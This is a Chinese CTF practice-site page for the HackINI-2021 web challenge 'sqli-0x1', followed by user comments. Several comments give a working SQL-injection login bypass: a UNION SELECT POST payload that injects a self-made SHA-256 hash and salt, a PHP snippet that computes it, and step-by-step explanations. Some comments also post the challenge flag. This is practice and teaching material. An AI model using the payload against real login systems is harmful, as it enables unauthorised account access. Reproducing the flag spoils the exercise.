列表

详情


sqli-0x1

HackINI-2021   WEB   已通过

题目作者: 未知

一  血: ‌‌‌‌‌Aman

一血奖励: 0金币

解  决: 773

提  示:

描  述: SQL injections are still a problem yes, even in 2021. Bypass the login mechanism and get access to the admin area.

去做题

xiaodeng @ 2024-05-07 23:22:03 👍0

哪个大佬有密码库


17743520638 @ 2024-04-07 23:22:03 👍0

这道题非常有意思


meilanzhuju @ 2024-02-07 23:22:03 👍0

五边形战士


波光摇曳 @ 2024-02-07 23:22:03 👍0

shellmates{c0ngr4tul4t10ns_U_d1d_1t!!_fe4cd84591ea}


lzq2000 @ 2024-01-07 23:22:03 👍1

<?php echo hash(“sha256”, “123”.“456”);?> 得到 8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92 123是口令,456是盐


xzs297995 @ 2024-05-07 23:22:03 👍0

@234722457 2a8610aefdd0028c6bf074dd18721c0ef8bc43241cc7a653d7aedf2036bdf6b3$654应该是这个 而且密码是987


在浅水中溺水么? @ 2024-03-07 23:22:03 👍0

@234722457 987654要换成2a8610aefdd0028c6bf074dd18721c0ef8bc43241cc7a653d7aedf2036bdf6b3


234722457 @ 2024-02-07 23:22:03 👍0

大佬,不用 123456 用 987654 为什么失败啊


lzq2000 @ 2024-01-07 23:22:03 👍7

查询一个不存在的账号,拼接union select,将自定义的密码和盐生成的加密字符串注入,覆盖密码查询结果,使用自定义的密码即可通过密码校验,post发送: user=a'union select 1,'8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92$456'--+&pass=123


lzq2000 @ 2024-05-15 23:22:03 👍1

@Am0s 联合查询其实本质就是手工增加了一个结果集,跟从数据库中真正查询出来的结果是一样的效果。这里因为数据库中存储的是加过密的信息,所以我们得构造一下加密结果。


lzq2000 @ 2024-05-15 23:22:03 👍1

@2957632449 是的,联合查询其实本质就是手工增加了一个结果集,结果就是对应字段的值!


2957632449 @ 2024-04-07 23:22:03 👍0

佬 这边1,'8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92$456' 这一串 会自动新建一个结果集是吗 然后'8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92$456'这边代表的是字段password里的值对吗


TwTsaltfish @ 2024-03-07 23:22:03 👍0

@Am0s 3、源码中验证sha256(明文密码$pass+$result["password"]中$后的字符串【$salt】)=$result["password"]中$前的值


TwTsaltfish @ 2024-03-07 23:22:03 👍0

@Am0s 1、猜测原先就是两个字段、账号密码,正常情况下搜到的就是这两个字段$result["user"],$result["password"];2、查询一个不存在的账号,没有union会是空的,union查询得到的第二个值(这里如果有多个无用字段要测试哪个是密码)会作为$result["password"]进入后面的逻辑;3、源码中验证sha2


Am0s @ 2024-02-07 23:22:03 👍0

大佬能讲解一下原理吗


JJhello @ 2023-12-07 23:22:03 👍0

不太懂,来个大佬讲解一下


yituoshi @ 2023-11-07 23:22:03 👍0

Half the truth is often a big lie:Welcome back admin! Have a flag: shellmates{c0ngr4tul4t10ns_U_d1d_1t!!_fe4cd84591


chaoge @ 2023-11-07 23:22:03 👍0

shellmates{c0ngr4tul4t10ns_U_d1d_1t!!_fe4cd84591ea}


justsosoloveyou @ 2023-11-07 23:22:03 👍9

先绕过用户名的正则过滤。查询一个不存在的账号,拼接union select,将自定义的密码和盐生成的加密字符串注入,覆盖密码查询结果,使用自定义的密码即可通过密码校验。


yituoshi @ 2023-11-07 23:22:03 👍1

感谢高手指导